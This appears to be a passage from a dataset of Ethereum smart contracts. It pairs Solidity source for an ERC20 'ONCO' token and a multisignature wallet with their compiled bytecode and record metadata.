* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Administrable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyAdministratorOrOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: contracts/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Administrable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyAdministratorOrOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyAdministratorOrOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: zeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
// File: contracts/OncoToken.sol
contract OncoToken is MintableToken, Pausable, FreezableToken, BurnableToken {
string constant public name = "ONCO";
string constant public symbol = "ONCO";
uint8 constant public decimals = 18;
/**
* @dev Empty OncoToken constructor
*/
function OncoToken() public {}
/**
* @dev Transfer token for a specified address with pause and freeze features for owner.
* @dev Only applies when the transfer is allowed by the owner.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) {
require(!isFrozen(msg.sender));
super.transfer(_to, _value);
}
/**
* @dev Transfer tokens from one address to another with pause and freeze features for owner.
* @dev Only applies when the transfer is allowed by the owner.
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool) {
require(!isFrozen(msg.sender));
require(!isFrozen(_from));
super.transferFrom(_from, _to, _value);
}
}
|
0x6060604052600436106101695763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461016e57806306fdde0314610195578063095ea7b31461021f5780630a2eb3011461024157806318160ddd1461026057806323b872dd14610285578063313ce567146102ad5780633f4ba83a146102d657806340c10f19146102eb57806342966c681461030d5780635c975abb14610323578063661884631461033657806368fa8134146103585780636a8269b41461037757806370a0823114610396578063788649ea146103b55780637d64bcb4146103d457806381c9786c146103e75780638456cb59146103fa5780638da5cb5b1461040d57806395d89b4114610195578063a9059cbb1461043c578063c99911761461045e578063d73dd6231461047d578063dd62ed3e1461049f578063e5839836146104c4578063f26c159f146104e3578063f2fde38b14610502575b600080fd5b341561017957600080fd5b610181610521565b604051901515815260200160405180910390f35b34156101a057600080fd5b6101a861052a565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101e45780820151838201526020016101cc565b50505050905090810190601f1680156102115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561022a57600080fd5b610181600160a060020a0360043516602435610561565b341561024c57600080fd5b610181600160a060020a03600435166105cd565b341561026b57600080fd5b6102736105eb565b60405190815260200160405180910390f35b341561029057600080fd5b610181600160a060020a03600435811690602435166044356105f1565b34156102b857600080fd5b6102c0610642565b60405160ff909116815260200160405180910390f35b34156102e157600080fd5b6102e9610647565b005b34156102f657600080fd5b610181600160a060020a03600435166024356106d6565b341561031857600080fd5b6102e9600435610802565b341561032e57600080fd5b6101816108bc565b341561034157600080fd5b610181600160a060020a03600435166024356108ca565b341561036357600080fd5b6102e9600160a060020a03600435166109c6565b341561038257600080fd5b610181600160a060020a0360043516610a48565b34156103a157600080fd5b610273600160a060020a0360043516610a5d565b34156103c057600080fd5b6102e9600160a060020a0360043516610a78565b34156103df57600080fd5b610181610b25565b34156103f257600080fd5b610273610b92565b341561040557600080fd5b6102e9610b98565b341561041857600080fd5b610420610c2a565b604051600160a060020a03909116815260200160405180910390f35b341561044757600080fd5b610181600160a060020a0360043516602435610c39565b341561046957600080fd5b6102e9600160a060020a0360043516610c6e565b341561048857600080fd5b610181600160a060020a0360043516602435610d10565b34156104aa57600080fd5b610273600160a060020a0360043581169060243516610db4565b34156104cf57600080fd5b610181600160a060020a0360043516610ddf565b34156104ee57600080fd5b6102e9600160a060020a0360043516610dfd565b341561050d57600080fd5b6102e9600160a060020a0360043516610eb0565b60065460ff1681565b60408051908101604052600481527f4f4e434f00000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b600160a060020a031660009081526004602052604090205460ff1690565b60015490565b600654600090610100900460ff161561060957600080fd5b61061233610ddf565b1561061c57600080fd5b61062584610ddf565b1561062f57600080fd5b61063a848484610f4b565b509392505050565b601281565b60035433600160a060020a039081169116148061067c5750600160a060020a03331660009081526004602052604090205460ff165b151561068757600080fd5b600654610100900460ff16151561069d57600080fd5b6006805461ff00191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60035460009033600160a060020a039081169116148061070e5750600160a060020a03331660009081526004602052604090205460ff165b151561071957600080fd5b60065460ff161561072957600080fd5b60015461073c908363ffffffff6110cb16565b600155600160a060020a038316600090815260208190526040902054610768908363ffffffff6110cb16565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a03331660009081526020819052604081205482111561082757600080fd5b5033600160a060020a03811660009081526020819052604090205461084c90836110e1565b600160a060020a038216600090815260208190526040902055600154610878908363ffffffff6110e116565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b600654610100900460ff1681565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561092757600160a060020a03338116600090815260026020908152604080832093881683529290529081205561095e565b610937818463ffffffff6110e116565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a3600191505b5092915050565b60035433600160a060020a039081169116146109e157600080fd5b600160a060020a03811615156109f657600080fd5b600160a060020a03811660009081526004602052604090205460ff161515610a1d57600080fd5b600160a060020a03166000908152600460205260409020805460ff1916905560058054600019019055565b60076020526000908152604090205460ff1681565b600160a060020a031660009081526020819052604090205490565b60035433600160a060020a0390811691161480610aad5750600160a060020a03331660009081526004602052604090205460ff165b1515610ab857600080fd5b600160a060020a0381161515610acd57600080fd5b600160a060020a038116600081815260076020526040808220805460ff191690557f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a5919051901515815260200160405180910390a250565b60035460009033600160a060020a03908116911614610b4357600080fd5b60065460ff1615610b5357600080fd5b6006805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b60055481565b60035433600160a060020a0390811691161480610bcd5750600160a060020a03331660009081526004602052604090205460ff165b1515610bd857600080fd5b600654610100900460ff1615610bed57600080fd5b6006805461ff0019166101001790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b600654600090610100900460ff1615610c5157600080fd5b610c5a33610ddf565b15610c6457600080fd5b6109bf83836110f3565b60035433600160a060020a03908116911614610c8957600080fd5b600160a060020a03811660009081526004602052604090205460ff1615610caf57600080fd5b600160a060020a03811615801590610cd55750600354600160a060020a03828116911614155b1515610ce057600080fd5b600160a060020a03166000908152600460205260409020805460ff19166001908117909155600580549091019055565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610d48908363ffffffff6110cb16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600160a060020a031660009081526007602052604090205460ff1690565b60035433600160a060020a0390811691161480610e325750600160a060020a03331660009081526004602052604090205460ff165b1515610e3d57600080fd5b600160a060020a0381161515610e5257600080fd5b600160a060020a03811660008181526007602052604090819020805460ff191660019081179091557f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59151901515815260200160405180910390a250565b60035433600160a060020a03908116911614610ecb57600080fd5b600160a060020a0381161515610ee057600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a0383161515610f6257600080fd5b600160a060020a038416600090815260208190526040902054821115610f8757600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610fba57600080fd5b600160a060020a038416600090815260208190526040902054610fe3908363ffffffff6110e116565b600160a060020a038086166000908152602081905260408082209390935590851681522054611018908363ffffffff6110cb16565b600160a060020a038085166000908152602081815260408083209490945587831682526002815283822033909316825291909152205461105e908363ffffffff6110e116565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6000828201838110156110da57fe5b9392505050565b6000828211156110ed57fe5b50900390565b6000600160a060020a038316151561110a57600080fd5b600160a060020a03331660009081526020819052604090205482111561112f57600080fd5b600160a060020a033316600090815260208190526040902054611158908363ffffffff6110e116565b600160a060020a03338116600090815260208190526040808220939093559085168152205461118d908363ffffffff6110cb16565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a3506001929150505600a165627a7a72305820cd32b2a9322ba8e17d439922331f5e64339eca4e2068b7d98dd4201c3aec459a0029
|
{"success": true, "error": null, "results": {}}
| 8,746 |
0x9dc15226547161ef87db26e4b85d99be690ffe96
|
// File: contracts/MultiSigWallet.sol
pragma solidity 0.5.9;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net> ,upgraded to solidity 0.5.9 by Marcello Bardus - <marcello@bardus.it>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint256 indexed transactionId);
event Revocation(address indexed sender, uint256 indexed transactionId);
event Submission(
uint256 indexed transactionId,
address indexed submittedBy
);
event Execution(uint256 indexed transactionId);
event ExecutionFailure(uint256 indexed transactionId);
event Deposit(address indexed sender, uint256 value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint256 required);
/*
* Constants
*/
uint256 public constant MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping(uint256 => Transaction) public transactions;
mapping(uint256 => mapping(address => bool)) public confirmations;
mapping(address => bool) public isOwner;
address[] public owners;
uint256 public required;
uint256 public transactionCount;
struct Transaction {
address destination;
uint256 value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint256 transactionId) {
require(transactions[transactionId].destination != address(0));
_;
}
modifier confirmed(uint256 transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint256 transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint256 transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != address(0));
_;
}
modifier validRequirement(uint256 ownerCount, uint256 _required) {
require(
ownerCount <= MAX_OWNER_COUNT &&
_required <= ownerCount &&
_required != 0 &&
ownerCount != 0
);
_;
}
/// @dev Fallback function allows to deposit ether.
function() external payable {
if (msg.value > 0) emit Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] memory _owners, uint256 _required)
public
validRequirement(_owners.length, _required)
{
for (uint256 i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != address(0));
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner) public onlyWallet ownerExists(owner) {
isOwner[owner] = false;
for (uint256 i = 0; i < owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length) changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint256 i = 0; i < owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint256 _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(
address destination,
uint256 value,
bytes memory data
) public returns (uint256 transactionId) {
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint256 transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint256 transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint256 transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (
external_call(
txn.destination,
txn.value,
txn.data.length,
txn.data
)
) emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(
address destination,
uint256 value,
uint256 dataLength,
bytes memory data
) internal returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint256 transactionId) public view returns (bool) {
uint256 count = 0;
for (uint256 i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) count += 1;
if (count == required) return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(
address destination,
uint256 value,
bytes memory data
) internal notNull(destination) returns (uint256 transactionId) {
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId, msg.sender);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint256 transactionId)
public
view
returns (uint256 count)
{
for (uint256 i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
view
returns (uint256 count)
{
for (uint256 i = 0; i < transactionCount; i++)
if (
(pending && !transactions[i].executed) ||
(executed && transactions[i].executed)
) count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners() public view returns (address[] memory) {
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint256 transactionId)
public
view
returns (address[] memory _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint256 count = 0;
uint256 i;
for (i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(
uint256 from,
uint256 to,
bool pending,
bool executed
) public view returns (uint256[] memory _transactionIds) {
uint256[] memory transactionIdsTemp = new uint256[](transactionCount);
uint256 count = 0;
uint256 i;
for (i = 0; i < transactionCount; i++)
if (
(pending && !transactions[i].executed) ||
(executed && transactions[i].executed)
) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint256[](to - from);
for (i = from; i < to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60806040526004361061012a5760003560e01c8063a0e67e2b116100ab578063c01a8c841161006f578063c01a8c84146107c4578063c6427474146107ff578063d74f8edd14610905578063dc8452cd14610930578063e20056e61461095b578063ee22610b146109cc5761012a565b8063a0e67e2b146105b0578063a8abe69a1461061c578063b5dc40c3146106ce578063b77bf6001461075e578063ba51a6df146107895761012a565b806354741525116100f257806354741525146103675780637065cb48146103c4578063784547a7146104155780638b51d13f146104685780639ace38c2146104b75761012a565b8063025e7c2714610184578063173825d9146101ff57806320ea8d86146102505780632f54bf6e1461028b5780633411c81c146102f4575b6000341115610182573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34801561019057600080fd5b506101bd600480360360208110156101a757600080fd5b8101908080359060200190929190505050610a07565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561020b57600080fd5b5061024e6004803603602081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a43565b005b34801561025c57600080fd5b506102896004803603602081101561027357600080fd5b8101908080359060200190929190505050610cd1565b005b34801561029757600080fd5b506102da600480360360208110156102ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e73565b604051808215151515815260200191505060405180910390f35b34801561030057600080fd5b5061034d6004803603604081101561031757600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e93565b604051808215151515815260200191505060405180910390f35b34801561037357600080fd5b506103ae6004803603604081101561038a57600080fd5b81019080803515159060200190929190803515159060200190929190505050610ec2565b6040518082815260200191505060405180910390f35b3480156103d057600080fd5b50610413600480360360208110156103e757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f54565b005b34801561042157600080fd5b5061044e6004803603602081101561043857600080fd5b8101908080359060200190929190505050611167565b604051808215151515815260200191505060405180910390f35b34801561047457600080fd5b506104a16004803603602081101561048b57600080fd5b810190808035906020019092919050505061124c565b6040518082815260200191505060405180910390f35b3480156104c357600080fd5b506104f0600480360360208110156104da57600080fd5b8101908080359060200190929190505050611315565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b83811015610572578082015181840152602081019050610557565b50505050905090810190601f16801561059f5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b3480156105bc57600080fd5b506105c561140a565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106085780820151818401526020810190506105ed565b505050509050019250505060405180910390f35b34801561062857600080fd5b506106776004803603608081101561063f57600080fd5b810190808035906020019092919080359060200190929190803515159060200190929190803515159060200190929190505050611498565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106ba57808201518184015260208101905061069f565b505050509050019250505060405180910390f35b3480156106da57600080fd5b50610707600480360360208110156106f157600080fd5b81019080803590602001909291905050506115fc565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561074a57808201518184015260208101905061072f565b505050509050019250505060405180910390f35b34801561076a57600080fd5b50610773611828565b6040518082815260200191505060405180910390f35b34801561079557600080fd5b506107c2600480360360208110156107ac57600080fd5b810190808035906020019092919050505061182e565b005b3480156107d057600080fd5b506107fd600480360360208110156107e757600080fd5b81019080803590602001909291905050506118e4565b005b34801561080b57600080fd5b506108ef6004803603606081101561082257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561086957600080fd5b82018360208201111561087b57600080fd5b8035906020019184600183028401116401000000008311171561089d57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611ad1565b6040518082815260200191505060405180910390f35b34801561091157600080fd5b5061091a611af0565b6040518082815260200191505060405180910390f35b34801561093c57600080fd5b50610945611af5565b6040518082815260200191505060405180910390f35b34801561096757600080fd5b506109ca6004803603604081101561097e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611afb565b005b3480156109d857600080fd5b50610a05600480360360208110156109ef57600080fd5b8101908080359060200190929190505050611e05565b005b60038181548110610a1457fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7b57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610ad257600080fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008090505b600160038054905003811015610c52578273ffffffffffffffffffffffffffffffffffffffff1660038281548110610b6457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610c4557600360016003805490500381548110610bc057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660038281548110610bf857fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c52565b8080600101915050610b30565b506001600381818054905003915081610c6b919061224a565b506003805490506004541115610c8a57610c8960038054905061182e565b5b8173ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d2857600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d9157600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615610dbf57600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610f4d57838015610f01575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610f345750828015610f33575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610f40576001820191505b8080600101915050610eca565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f8c57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fe457600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561101f57600080fd5b6001600380549050016004546032821115801561103c5750818111155b8015611049575060008114155b8015611056575060008214155b61105f57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000905060008090505b60038054905081101561124457600160008581526020019081526020016000206000600383815481106111a357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611222576001820191505b60045482141561123757600192505050611247565b8080600101915050611174565b50505b919050565b600080600090505b60038054905081101561130f576001600084815260200190815260200160002060006003838154811061128357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611302576001820191505b8080600101915050611254565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113ed5780601f106113c2576101008083540402835291602001916113ed565b820191906000526020600